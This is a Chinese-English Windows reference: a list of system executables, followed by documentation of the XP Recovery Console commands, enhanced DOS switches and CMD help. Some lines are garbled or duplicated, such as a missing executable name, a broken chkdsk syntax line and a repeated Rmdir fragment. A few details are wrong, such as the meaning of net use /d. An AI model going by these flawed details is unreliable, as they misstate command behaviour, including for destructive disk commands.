msg.exe > Send a message to a user local or remote. 发送消息到本地或远程客户

mshta.exe > HTML Application HOST HTML 应用程序主机

msiexec.exe > Starts Windows Installer Program 开始 Windows 安装程序

mspaint.exe > Microsoft Paint 画板

msswchx.exe >

mstask.exe > Task Schedule Program 任务计划表程序

mstinit.exe > Task scheduler setup 任务计划表安装

narrator.exe > Program will allow you to have a narrator for reading. Micros

oft 讲述人

nbtstat.exe > Displays protocol stats and current TCP/IP connections using N

BT 使用 NBT (TCP/IP 上的 NetBIOS) 显示协议统计和当前 TCP/IP 连接。

nddeapir.exe > NDDE API Server side NDDE API 服务器端

net.exe > Net Utility 详细用法看/?

net1.exe > Net Utility updated version from MS Net 的升级版

netdde.exe > Network DDE will install itself into the background 安装自己到后

台

netsh.exe > Creates a shell for network information 用于配置和监控 Windows 2

000 命令行脚本接口。

netstat.exe > Displays current connections. 显示协议统计和当前的 TCP/IP 网络

连接。

nlsfunc.exe > Loads country-specific information 加载特定国家（地区）的信息。

Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼

容。

notepad.exe > Opens Windows 2000 Notepad 记事本

nslookup.exe > Displays information for DNS 该诊断工具显示来自域名系统 (DNS)

名称服务器的信息。

ntbackup.exe > Opens the NT Backup Utility 备份和故障修复工具

ntbooks.exe > Starts Windows Help Utility 帮助

ntdsutil.exe > Performs DB maintenance of the ADSI 完成 ADSI 的 DB 的维护

ntfrs.exe > NT File Replication Service NT 文件复制服务

ntfrsupg.exe >

ntkrnlpa.exe > Kernel patch 核心补丁

ntoskrnl.exe > Core NT Kernel KT 的核心

ntsd.exe >

ntvdm.exe > Simulates a 16-bit Windows environment 模拟 16 位 Windows 环境

nw16.exe > Netware Redirector NetWare 转向器

nwscript.exe > runs netware scripts 运行 Netware 脚本

odbcad32.exe > ODBC 32-bit Administrator 32 位 ODBC 管理

odbcconf.exe > Configure ODBC driver's and data source's from command line 命

令行配置 ODBC 驱动和数据源

taskman.exe > Task Manager 任务管理器

taskmgr.exe > Starts the Windows 2000 Task Manager 任务管理器

tcmsetup.exe > telephony client wizard 电话服务客户安装

tcpsvcs.exe > TCP Services TCP 服务

.exe > Telnet Utility used to connect to Telnet Server

termsrv.exe > Terminal Server 终端服务

tftp.exe > Trivial FTP 将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行

TFTP 服务的远程计算机传输文件

tftpd.exe > Trivial FTP Daemon

themes.exe > Change Windows Themes 桌面主题

tlntadm.exe > Telnet Server Administrator Telnet 服务管理

tlntsess.exe > Display the current Telnet Sessions 显示目前的 Telnet 会话

tlntsvr.exe > Start the Telnet Server 开始 Telnet 服务

tracert.exe > Trace a route to display paths 该诊断实用程序将包含不同生存时间

(TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标, 以决定到达目标

采用的路由

tsadmin.exe > Terminal Server Administrator 终端服务管理器

tscon.exe > Attaches a user session to a terminal session. 粘贴用户会话到终端

对话

tsdiscon.exe > Disconnect a user from a terminal session 断开终端服务的用户

tskill.exe > Kill a Terminal server process 杀掉终端服务

tsprof.exe > Used with Terminal Server to query results. 用终端服务得出查询结果

果

tsshutdn.exe > Shutdown the system 关闭系统

unlodctr.exe > Part of performance monitoring 性能监视器的一部分

upg351db.exe > Upgrade a jet database 升级 Jet 数据库

ups.exe > UPS service UPS 服务

user.exe > Core Windows Service Windows 核心服务

userinit.exe > Part of the winlogon process Winlogon 进程的一部分

usrmgr.exe > Start the windows user manager for domains 域用户管理器

utilman.exe > This tool enables an administrator to designate which computers automatically open accessibility tools when Windows 2000 starts. 指定 2000 启动时自动打开那台机器

verifier.exe > Driver Verifier Manager Driver Verifier Manager

vwipxspx.exe > Loads IPX/SPX VDM 调用 IPX/SPX VDM

w32tm.exe > Windows Time Server 时间服务器

wextract.exe > Used to extract windows files 解压缩 Windows 文件

winchat.exe > Opens Windows Chat 打开 Windows 聊天

winhlp32.exe > Starts the Windows Help System 运行帮助系统

winlogon.exe > Used as part of the logon process. Logon 进程的一部分

winmine.exe > windows Game 挖地雷

winmsd.exe > Windows Diagnostic utility 系统信息

wins.exe > Wins Service Wins 服务

winspool.exe > Print Routing 打印路由

winver.exe > Displays the current version of Windows 显示 Windows 版本

wizmgr.exe > Starts Windows Administration Wizards Windows 管理向导

wjview.exe > Command line loader for Java 命令行调用 Java

wowdeb.exe > . For starters, the 32-bit APIs require that the WOWDEB.EXE tas

k runs in the target debugee's VM 启动时，32 位 API 需要

wowexec.exe > For running Windows over Windows Applications 在 Windows 应用程序

上运行 Windows

wpnpiinst.exe > ?

write.exe > Starts MS Write Program 写字板

wscript.exe > Windows Scripting Utility 脚本工具

wupdmgr.exe > Starts the Windows update Wizard (Internet) 运行 Windows 升级向导

xcopy.exe > 复制文件和目录，包括子目录

Win XP 控制台命令详解

Win XP（包括 2000）的控制台命令是在系统出现一些意外情况下的一种非常有效的诊断和测试以及恢复系统功能的工具。小编的确一直都想把这方面的命令做个总结，这次辛苦老范给我们整理了这份实用的秘笈。

第一部分：文件和目录操作命令

Attrib Batch Chdir (Cd) Copy Delete (Del) Expand Mkdir (md) Rmdir (Rd)
Type

More

第二部分：系统和磁盘操作命令

Bootcfg hkdisk Diskpart Fixboot Fixmbr format Map

第三部分：辅助操作和特殊功能命令

Cls Disable Enable Exit Help commandname Listsvc Logon
Net use

Set Systemroot

Attrib

更改单个文件或目录的属性。该命令设置或删除指派给文件或目录的只读、系统、存档、隐藏以及压缩属性。

含有下列参数的 **attrib** 命令仅当使用故障恢复控制台时才可用。含有不同参数的

attrib

命令可在命令提示符中使用。

```
attrib [+r|-r] [+s|-s] [+h|-h] [+c|-c] [[ drive:] [ path] filename]
```

参数

+r 设置只读属性。

-r 清除只读属性。

+s 设置系统属性。

-s 清除系统属性。

+h 设置隐藏属性。

-h 清除隐藏属性。

+c 设置压缩属性。

-c 清除压缩属性。

```
[[ drive:] [ path] filename]
```

指定要处理的目录或文件的位置和名称。可以一次只更改一个文件，也可以更改整个目录。

注意：可以用一个命令更改一个文件或目录的多个属性。

Batch

执行在文本文件中指定的命令。`batch` 命令仅在使用故障恢复控制台时才可用。故障恢复控制台可以从安装 CD 中启动。

```
batch input_file [ output_file]
```

参数

input_file

指定包含要执行的命令列表的文本文件。`input_file` 可以由驱动器号和冒号、目录名、文件名或它们的组合构成。

output_file

如果指定，则在命名文件中存储命令输出。如果没有指定，输出将显示在屏幕上。

范例

下例将执行批处理文件 `C:\Jobs\Find.txt` 并将输出存储在文件

C:\Jobs\Results.txt 中：

```
batch c:\jobs\find.txt c:\jobs\results.txt
```

注意：批处理文件不能包含嵌套的 **batch** 命令。

Chdir (Cd)

显示当前目录的名称，或更改当前的文件夹。

含有下列参数的 **chdir** 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 **chdir** 命令。

```
chdir [drive:] [path] [..]
```

或者

```
cd [drive:] [path] [..]
```

参数 无

如果不带任何参数，**chdir** 将显示当前驱动器和文件夹的名称。只与驱动器号一起

使用（例如 `cd C:`），`chdir` 将显示指定驱动器上的当前目录。

`[drive:] [path]`

指定要改到的驱动器（如果不是当前驱动器）和目录。

`[..]`

指明要改到父文件夹。在 `chdir` 和两个句点之间插入一个空格。

注意

`Chdir` 将空格视作分隔符。用引号将包含空格的目录名扩起来。例如：

```
cd "driver cache"
```

`Chdir` 只适用于当前 **Windows** 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

Copy

将单个文件复制到其他位置。含有下列参数的 `copy` 命令仅在使用故障恢复控制台时才可用。

可在命令提示符下使用带不同参数的 `copy` 命令。

```
copy source [ destination]
```

参数

source

指定要被复制的文件的位置和名称。`Source` 可由驱动器号和冒号、目录名、文件名或组合所组成。

destination

指定要复制到其中的文件或文件集的位置和名称。`Destination` 可以由驱动器号和冒号、文件夹名、文件名及组合而组成。

注意

源可以是可移动媒体、当前 **Windows** 安装的系统目录中的任何目录、驱动器的根目录、本地安装源或 `Cmdcons` 目录。

目标可以是除可移动媒体以外的任何与源相同的位置。如果没有指定目标，则默认为当前目录。

Windows 安装 CD 中的压缩文件在复制过程中解压缩。

Copy 不支持通配符。

Delete (Del)

删除单个文件。含有下列参数的 `delete` 或 `del` 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 `delete` 或 `del` 命令。

```
delete [ drive:] [ path] filename
```

或者

```
del [ drive:] [ path] filename
```

参数

`[drive:] [path] filename` 指定要删除的文件的位置和名称。

注意

Delete 只适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

Dir

显示目录中的文件和子目录列表。含有下列参数的 **dir** 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 **dir** 命令。

```
dir [ drive:] [ path] [ filename]
```

参数

```
[ drive:] [ path]
```

指定要查看列表的驱动器和目录。

```
[ filename]
```

指定要查看列表的特定文件或一组文件。可以使用多个文件名。文件名可以用空格、逗号或分号隔开。可以在 **filename** 参数中使用通配符（**?** 和 *****）显示一组文件。

Dir 还列出磁盘的卷标和序列号，以及所列文件的数目，累计大小和磁盘上剩余的可用空间（以字节计）。对于每个文件和子目录而言，**dir** 列出文件的扩展名、文件字节数、文件的最后修改日期和时间以及下列文件属性（如果可用）：

缩写 属性

d 目录

h 隐藏文件

s 系统文件

e 加密

r 只读

a 存档文件

c 已压缩

p 重新分析点

注意：

Dir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

Expand

从压缩文件中提取文件。通过该命令可从 .cab 文件或压缩文件中提取驱动程序文件。

含有下列参数的 expand 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 expand 命令。

`expand source [/F:filespec] [destination] [/d] [/y]`

参数

source

指定要展开的文件。如果源文件只包含一个文件，请使用该选项。**source** 可由驱动器号和冒号、目录名、文件名或组合所组成。不能使用通配符。

/f:size

如果源文件包含多个文件，指定要提取的文件的名称。可以对要提取的文件使用通配符。

destination

指定提取文件或每个单独文件的目标目录和（或）文件名。

/d

列出 **CAB** 文件中包含的文件而不展开或提取。

/y

在展开或提取文件时不出现覆盖提示。

范例

下例将从安装 CD 上的驱动程序 CAB 文件中提取 Msgame.sys 文件并将其复制到

C:\Windows\System\Drivers:

```
expand d:\i386\driver.cab\*.msgame.sys c:\windows\system\drivers
```

下例将展开压缩文件 Access.cp_:

```
expand d:\i386\access.cp_c:\windows\system32\access.cpl
```

下例将列出安装 CD 上的驱动程序 CAB 文件中的所有文件。

```
expand /d d:\i386\driver.cab
```

要点

驱动程序 CAB 文件包含成千上万的文件，其中包括由 Windows 提供的大部分驱动程序

。将所有文件从 CAB 文件展开到硬盘上需要花较长的时间和大量的磁盘空间。建议 仅从该文件中提取需要的文件。

注意

如果没有指定目标，文件将被复制到当前目录。

不能将软盘驱动器或 CD-ROM 等可移动媒体指定为目标。

Mkdir (md)

创建目录或子目录。含有下列参数的 **mkdir** 命令仅在使用故障恢复控制台时可用。

可在命令提示符下使用带不同参数的 **mkdir** 命令。

mkdir [drive:] path

或者

md [drive:] path

参数

drive:

指定要创建新目录的驱动器。

path

指定新目录的名称和位置。不能使用通配符。

注意

Mkdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

Rename (Ren)

更改单个文件的名称。含有下列参数的 rename 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 rename 命令。

```
rename [ drive:] [ path] filename1 filename2
```

或者

```
ren [ drive:] [ path] filename1 filename2
```

参数

[drive:] [path] filename1

指定要重新命名的文件的位置和名称。不能使用通配符。

filename2

为文件指定新的名称。重新命名文件时不能指定新的驱动器或路径。

Rmdir (Rd)

删除目录。含有下列参数的 `rmdir` 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 `mdir` 命令。

`rmdir [drive:] path`

或者

`rd [drive:] path`

参数

[drive:] path

指定要删除的目录的位置和名称。不能使用通配符。

注意

目录必须为空否则命令失败。

Rmdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

Type

显示文本文件的内容。使用 `type` 或 `more` 命令查看文本文件而不修改文件。含有下述参数的 `type` 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 `type` 命令。

```
type [ drive: ] [ path ] filename
```

或者

```
more [ drive: ] [ path ] filename
```

参数

[drive:] path] filename

指定要查看的文件的位置和名称。

如果使用 NTFS 驱动器而且文件名包含空格，则必须用引号 (") 将文件名引起来。

More

显示文本文件的内容。使用 `more` 或 `type` 命令查看文本文件而不修改文件。含有下列参数的 `more` 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 `more` 命令。

`more [drive:] [path] filename`

或者

`type [drive:] [path] filename`

参数

[drive:] path] filename

指定要查看的文件的位置和名称。

如果使用 NTFS 驱动器，而且文件名包含空格，则必须用引号 (") 将文件名引起来

Bootcfg

`bootcfg` 命令启动配置和故障恢复（对于大多数计算机，即 `boot.ini` 文件）。

含有下列参数的 `bootcfg` 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 `bootcfg` 命令。

用法：

`bootcfg /default` 设置默认引导项。

`bootcfg /add` 向引导列表中添加 Windows 安装。

`bootcfg /rebuild` 重复全部 Windows 安装过程并允许用户选择要添加的内容。

注意：使用 `bootcfg /rebuild` 之前，应先通过 `bootcfg /copy` 命令备份 `boot.ini` 文件。

`bootcfg /scan` 扫描用于 Windows 安装的所有磁盘并显示结果。

注意：这些结果被静态存储，并用于本次会话。如果在本次会话期间磁盘配置发生变化，为获得更新的扫描，必须先重新启动计算机，然后再次扫描磁盘。

`bootcfg /list` 列出引导列表中已有的条目。

`bootcfg /disabledirect` 在启动引导程序中禁用重定向。

`bootcfg /redirect [PortBaudRate] |[useBiosSettings]`

在启动引导程序中通过指定配置启用重定向。

范例：

`bootcfg /redirect com1 115200`

`bootcfg /redirect useBiosSettings`

`chkdsk`

创建并显示磁盘的状态报告。`chkdsk` 命令还可列出并纠正磁盘上的错误。

含有下列参数的 `chkdsk` 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 `chkdsk` 命令。

```
vol [drive:] [ chkdsk [drive:] [/p] [/r]
```

参数 无

如果不带任何参数，`chkdsk` 将显示当前驱动器中的磁盘状态。

`drive:` 指定要 `chkdsk` 检查的驱动器。

`/p` 即使驱动器不在 `chkdsk` 的检查范围内，也执行彻底检查。该参数不对驱动器做任何更改。

`/r` 找到坏扇区并恢复可读取的信息。隐含着 `/p` 参数。

注意

`Chkdsk` 命令需要 `Autochk.exe` 文件。如果不能在启动目录（默认为 `\%systemroot%\System32`）中找到该文件，将试着在 Windows 安装 CD 中找到它。如果有多引导系统的计算机，必须保证是在包含 Windows 的驱动器上使用该命令。

Diskpart

创建和删除硬盘驱动器上的分区。`diskpart` 命令仅在使用故障恢复控制台时才可用

。

```
diskpart [/add | /delete] [device_name | drive_name | partition_name]
```

```
[size]
```

参数 无

如果不带任何参数，`diskpart` 命令将启动 `diskpart` 的 Windows 字符模式版本。

`/add`

创建新的分区。

`/delete`

删除现有分区。

`device_name`

要创建或删除分区的设备。设备名称可从 `map` 命令的输出获得。例如，设备名称：

`\Device\HardDisk0`

`drive_name`

以驱动器号表示的待删除分区。仅与 `/delete` 同时使用。以下是驱动器名称的范例

:

D:

`partition_name`

以分区名称表示的待删除分区。可代替 `drive_name` 使用。仅与 `/delete` 同时使用

。以下是分区名称的范例：

`\Device\HardDisk0\Partition1`

大小

要创建的分区大小，以兆字节 (MB)表示。仅与 `/add` 同时使用。

范例

下例将删除分区：

```
diskpart /delete \ Device\ HardDisk0\ Partition3
```

```
diskpart /delete F:
```

下例将在硬盘上添加一个 20 MB 的分区：

```
diskpart /add \ Device\ HardDisk0 20
```

Fixboot

向系统分区写入新的分区引导扇区。只有在使用故障恢复控制台时，才能使用

fixboot 命令。

```
fixboot [drive]
```

参数 驱动器

将要写入引导扇区的驱动器。它将替代默认的驱动器（即用户登录的系统分区）。

例如，驱动器： D:

范例

下列命令范例向驱动器 **D:** 的系统分区写入新的分区引导扇区：

```
fixboot d:
```

注意：如果不带任何参数，**fixboot** 命令将向用户登录的系统分区写入新的分区引导扇区。

Fixmbr

修复启动磁盘的主启动记录。**fixmbr** 命令仅在使用故障恢复控制台时才可用。

```
fixmbr [ device_name]
```

参数

device_name

要写入新的主引导记录的设备（驱动器）。设备名称可从 **map** 命令的输出获得。例如，设备名称：

`\Device\HardDisk0`

范例

下列命令示例向指定设备写入一个新的主引导记录：

```
fixmbr \Device\HardDisk0
```

注意

如果不指定 `device_name`，新的主引导记录将被写入引导设备，即装载主系统的驱动器。

如果系统检测到无效或非标准分区表标记，将提示用户是否继续执行该命令。除非您访问驱动器有问题，否则不要继续进行。向系统分区写入新的主引导记录可能破坏分区表并导致分区无法访问。

format

将指定的驱动器格式化为指定的文件系统。含有下列参数的 `format` 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 `format` 命令。

```
format [ drive:] [ /fs:file-system]
```

参数

drive:

指定要格式化的驱动器。不能从故障恢复控制台格式化软盘。

/q

对驱动器进行快速格式化。不扫描驱动器看是否有坏区域，因此只应对以前格式化过的驱动器使用该参数。

/fs:file-system

指定要使用的文件系统：FAT、FAT32 或 NTFS 。如果未指定文件系统，将使用现有的文件系统格式。

Map

显示驱动器号与物理设备名称的映射。该信息在运行 `fixboot` 和 `fixmbr` 命令时非常有用。

`map` 命令仅在使用故障恢复控制台时才可用。

Map [arc]

参数

arc

指示 map 命令显示高级 RISC 计算 (ARC)设备名称而不是设备名称。以下是 ARC 设备名称的范例：

multi(0)disk(0)rdisk(0)partition(1)

等价的设备名称是：

\Device\HardDisk0\Partition1

范例

下例将物理设备名映射为使用 ARC 设备名称的驱动器号：

map arc

注意

如果不使用 `arc` 参数，则 `map` 命令显示设备名称。

`map` 命令还显示文件系统的类型和每个磁盘的大小（MB）。

← 返回

Cls

清除屏幕。

清除后的屏幕只显示命令提示符和插入点。

Disable

禁用 Windows XP 、 Windows 2000 或 Windows NT 4.0 系统服务或设备驱动程序。

`disable` 命令仅在使用故障恢复控制台时才可用。

```
disable {service_name} [[ device_driver_name]
```

参数

`service_name`

要禁用的系统服务名称。

`device_driver_name`

要禁用的设备驱动程序名称。

范例

下例将禁用 Eventlog 服务：

```
disable eventlog
```

注意

`disable` 命令将指定的服务或驱动程序的启动类型设为 `SERVICE_DISABLED` 。

使用 `disable` 命令禁用系统服务或设备驱动程序时，该系统服务或设备驱动程序上次启动类型的名称将显示在屏幕上。应该记下该名称，以便在需要使用 `enable` 命令将启动类型恢复为上次的设置 。

共有五种启动类型。前三种类型是：`SERVICE_AUTO_START`、`SERVICE_DISABLED` 和 `SERVICE_DEMAND_START`。对应的标准启动类型：自动、禁用和手动，通常使用“计算机管理”管理工具中的“服务”进行配置。后两种类型是：`SERVICE_BOOT_START` 和 `SERVICE_SYSTEM_START`，通常用于配置加载设备驱动程序的方式。例如，在启动计算机

时或启动 Windows 时加载。

Enable

启用 Windows XP 、 Windows 2000 或 Windows NT 4.0 系统服务或设备驱动程序。

enable 命令仅在使用故障恢复控制台时才可用。

```
enable {service_name |device_driver_name}[ startup_type]
```

参数

service_name

要启用的系统服务的名称。

device_driver_name

要启用的设备驱动程序的名称。

startup_type

要为服务或设备驱动程序指派的启动类型。有效的启动类型包括：

SERVICE_BOOT_START

SERVICE_SYSTEM_START

SERVICE_AUTO_START

SERVICE_DEMAND_START

范例

下例将 Eventlog 服务的启动类型设为自动或 SERVICE_AUTO_START:

```
enable eventlog service_auto_start
```

注意

如果不指派启动类型，enable 命令将列出在 service_name 中指定的服务或设备驱动程序
的当前启动类型。

使用 enable 命令更改启动类型时，上次启动类型的名称将显示在屏幕上。应该记下该
名称，以便在需要时将启动类型恢复为上次的设置。

Exit

关闭故障恢复控制台并重新启动计算机。exit 命令仅在使用“故障恢复控制台”时
才可用。

exit

参数 无

Help

提供有关故障恢复控制台命令的联机信息。

`help [commandname]`

参数 无

列出故障恢复控制台中提供的命令。

`commandname`

提供有关命令信息，包括命令使用的参数。

注意

有两种方法可以获得命令的联机帮助。可以指定 `help` 命令后的命令名称，或者可以在命令提示符中键入该命令名称和 `/?`。开关。例如，键入下列命令可以获得有关 `extract`

命令的信息:

help extract

extract /?

Listsvc

列出计算机上可以使用的服务和驱动程序。**listsvc** 命令仅在使用故障恢复控制台时才可用。

listsvc

参数 无

Logon

登录到 Windows 安装。**logon** 命令仅在使用故障恢复控制台时才可用。

logon

参数 无

注意

logon 命令将列出所有检测到的 Windows 安装，需要安装的本地管理员密码才能登录。

如果 3 次登录尝试都失败，“故障恢复控制台”会退出并且计算机将重新启动。

Net use

将网络共享连接到驱动器号。含有下列参数的 net use 命令仅在使用故障恢复控制台时可用。在命令提示符下可以使用带不同参数的 net use 命令。

语法

```
net use [ \\ ComputerName\ShareName [/user:[ DomainName\ ] UserName]
password] [[ drive
letter:] [/d]
```

参数

\\servername\sharename

指定服务器和共享资源的名称。如果 computername 包含空白字符，则将计算机名从双反斜杠 (\\) 到计算机名结尾用引号 (") 括起来。计算机名长度可以是 1 到 15 个字符。

`/user`

指定建立连接的用户名。

域名

确认用户的凭据时所要使用的域名。

用户名

指定登录时使用的用户名。

密码

指定访问共享资源所需的密码。不输入密码，将给出要键入密码的提示。在密码提示行处键入密码时不显示密码。

`/d`

表示将不断开该连接。

Set

显示和设置“故障恢复控制台”的环境变量。`set` 命令是必须与安全模板一同使用的可选命令。

含有不同参数的 `set` 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 `set` 命令。

```
set [ variable=[ string] ]
```

参数

variable

指定需要设置或修改的变量。

“故障恢复控制台”支持以下环境变量：

变量 说明

AllowWildCards 允许某些命令（如 `del` 命令）支持通配符。

AllowAllPaths 允许访问系统上的所有文件和目录。

AllowRemovableMedia 允许文件复制到可移动媒体上，如软盘。

NoCopyPrompt 覆盖现有文件时不显示提示。

string

指定要与指定变量关联的字符串。

范例

下例允许在某些故障恢复控制台命令中使用通配符：

```
set allowwildcards=true
```

指定要删除的目录的位置和名称。不能使用通配符。

注意

目录必须为空否则命令失败。

Rmdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

Systemroot

将当前目录设置为用户登录到的 Windows 安装系统的 systemroot 文件夹。system

root 命令仅在使用故障恢复控制台时可用。

systemroot

参数 无

XP 中的增强 DOS 命令

◆命令：DIR，列文件、目录

增加参数：/C

参数说明：DIR 列文件、目录时显示的文件大小，其数值以千为单位进行分隔，使用此参数即“DIR/C”将取消显示中的分隔符，以满足部分人的视觉习惯。

增加参数：/Q

参数说明：Windows 是多用户操作系统，使用此参数即“DIR/Q”列文件、目录时，将显示出文件、目录的用户属性。

增加参数：/T:C、/T:A、/T:W

参数说明：使用此参数即“DIR/T:C”、“DIR/T:A”、“DIR/T:W”分别显示文件、目录的创建时间、上次访问时间和上次修改时间。

增加参数: /X

参数说明: 使用此参数即“DIR/X”列文件、目录时, 会对长文件名同时显示“8.3”格式的文件名。

◆命令: CD, 改变目录

增加参数: /D

参数说明: 此参数的作用是快速改变当前目录, 比如当前目录是 C:\Windows, 使用命令“CD/D E:\Tools”可快速切换到 E:\Tools 目录下。注: 只有在 Win XP 的“运行”文本框中输入“CMD”得到的 DOS 窗口中才能使用此参数。

◆命令: MD, 建立目录

功能说明: 此命令并未增加参数, 但是增强了功能, 它可一次建立多级子目录, 例如使用命令“MD AA\BB\CC\DD”将一次性创建 AA、BB、CC、DD 四级子目录。而在老版本的 DOS 中, 若不存在 AA 子目录, 便无法直接建立 AA 下的 BB 等深层子目录。

◆命令: RD, 删除目录

增加参数: /S

参数说明: 使用此参数即“RD/S”用于删除目录树, 即删除目录及目录下的所有子目录和文件, 相当于以前版本中的 DELTREE 命令。

增加参数：/Q

参数说明：使用上面的/S 参数删除目录树时，系统会要求用户确认是否真的要删除。若同时使用/Q 参数即“RD/S/Q”，在进行删除操作时将取消确认，相当于 DELTREE 命令的/Y 参数。

◆命令：DEL，删除文件或目录

增加参数：/F

参数说明：使用此参数即“DEL/F”可删除只读文件。

增加参数：/S、/Q

参数说明：使用此参数即“DEL/S”作用与“RD/S”完全相同，即删除目录及目录下的所有子目录和文件。同时使用参数/Q，可取消删除操作时的系统确认。

增加参数：/A

参数说明：删除指定属性或指定属性以外的文件，/AR、/AH、/AS、/AA 分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A 表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件。

◆命令：ATTRIB，更改文件或目录的属性

增加参数: /D

参数说明: 在 Win XP 中我们不能把文件或文件夹设置为系统属性, 只能设为只读、隐藏或存档属性。而带参数/D 使用 ATTRIB 命令可以对文件的所有属性进行设定, 设定时必须与参数/S 同时使用。例如 “ATTRIB /S /D +S D:\Study”, 作用是将 D:\Study 文件夹设置为系统文件夹。

◆命令: format, 格式化磁盘

增加参数: /FS:filessystem

参数说明: 按指定文件系统类型 (FAT、FAT32、NTFS) 格式化磁盘, 例如 “format /FS:NTFS”。

◆命令: DATE、TIME, 显示系统日期和时间

增加参数: /T

参数说明: 使用此参数即 “DATE/T”、“TIME/T” 将只显示当前日期和时间, 而不必输入新日期和时间。

Windows XP 命令解释程序一个新的实例

CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]

[/S] [/C | /K] string]

- /C 执行字符串指定的命令然后终断
- /K 执行字符串指定的命令但保留
- /S 在 /C 或 /K 后修改字符串处理(见下)
- /Q 关闭回应
- /D 从注册表中停用执行 AutoRun 命令(见下)
- /A 使向内部管道或文件命令的输出成为 ANSI
- /U 使向内部管道或文件命令的输出成为 Unicode
- /T:fg 设置前景/背景颜色(详细信息, 请见 COLOR /?)
- /E:ON 启用命令扩展(见下)
- /E:OFF 停用命令扩展(见下)
- /F:ON 启用文件和目录名称完成字符 (见下)
- /F:OFF 停用文件和目录名称完成字符(见下)
- /V:ON 将 ! 作为定界符启动延缓环境变量扩展。如: /V:ON 会
允许 !var! 在执行时允许 !var! 扩展变量 var。var 语法
在输入时扩展变量, 这与在一个 FOR 循环内不同。
- /V:OFF 停用延缓的环境扩展。

请注意, 如果字符串有引号, 可以接受用命令分隔符 '&&' 隔开的多个命令。并且, 由于兼容原因, /X 与 /E:ON 相同, /Y 与 /E:OFF 相同, 并且 /R 与 /C 相同。忽略任何其他命令行开关。

如果指定了 /C 或 /K，命令行开关后的命令行其余部分将作为命令行处理；在这种情况下，会使用下列逻辑处理引号字符("):

1. 如果符合下列所有条件，那么在命令行上的引号字符将被保留：
 - 不带 /S 命令行开关
 - 整整两个引号字符
 - 在两个引号字符之间没有特殊字符，特殊字符为下列中的一个: <>()@^|
 - 在两个引号字符之间有至少一个空白字符
 - 在两个引号字符之间有至少一个可执行文件的名称。
2. 否则，老办法是，看第一个字符是否是一个引号字符，如果是，舍去开头的字符并删除命令行上的最后一个引号字符，保留最后一个引号字符之后的文字。

如果 /D 未在命令行上被指定，当 CMD.EXE 开始时，它会寻找以下 REG_SZ/REG_EXPAND_SZ 注册表变量。如果其中一个或两个都存在，这两个变量会先被执行。

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun

和/或

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun

命令扩展是按默认值启用的。您也可以使用 /E:OFF，为某一特定调用而停用扩展。您可以在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有调用的扩展，这要通过设置使用 REGEDT32.EXE 的注册表中的一个或两个 REG_DWORD 值：

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions

和/或

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions

到 0x1 或 0x0。用户特定设置比机器设置有优先权。命令行开关比注册表设置有优先权。

命令行扩展包括对下列命令所做的更改和/或添加：

DEL 或 ERASE

COLOR

CD 或 CHDIR

MD 或 MKDIR

PROMPT

PUSHD

POPD

SET

SETLOCAL

ENDLOCAL

IF

FOR

CALL

SHIFT

GOTO

START (同时包括对外部命令调用所做的更改)

ASSOC

FTYPE

有关详细信息，请键入 **HELP** 命令名。

延迟变量环境扩展不按默认值启用。您可以用 **/V:ON** 或 **/V:OFF**

命令行开关，为 **CMD.EXE** 的某个调用而启用或停用延迟环境变量扩充。

您可以在机器上和/或用户登录会话上启用或停用 **CMD.EXE** 所有

调用的完成，这要通过设置使用 **REGEDT32.EXE** 的注册表中的

一个或两个 **REG_DWORD** 值:

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\DelayedExpansion

和/或

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion

到 **0x1** 或 **0x0**。用户特定设置比机器设置有优先权。命令行开关

比注册表设置有优先权。

如果延迟环境变量扩充被启用，惊叹号字符可在执行时间，被用来

代替一个环境变量的数值。

文件和目录名完成不按默认值启用。您可以用 **/F:ON** 或 **/F:OFF**

命令行开关，为 **CMD.EXE** 的某个调用而启用或停用文件名完成。您可以

在机器上和/或用户登录会话上启用或停用 **CMD.EXE** 所有调用的

完成，这要通过设置使用 **REGEDT32.EXE** 的注册表中的一个或两个

REG_DWORD 值:

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\PathCompletionChar

和/或

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar

由一个控制字符的十六进制值作为一个特定参数(例如, 0x4 是

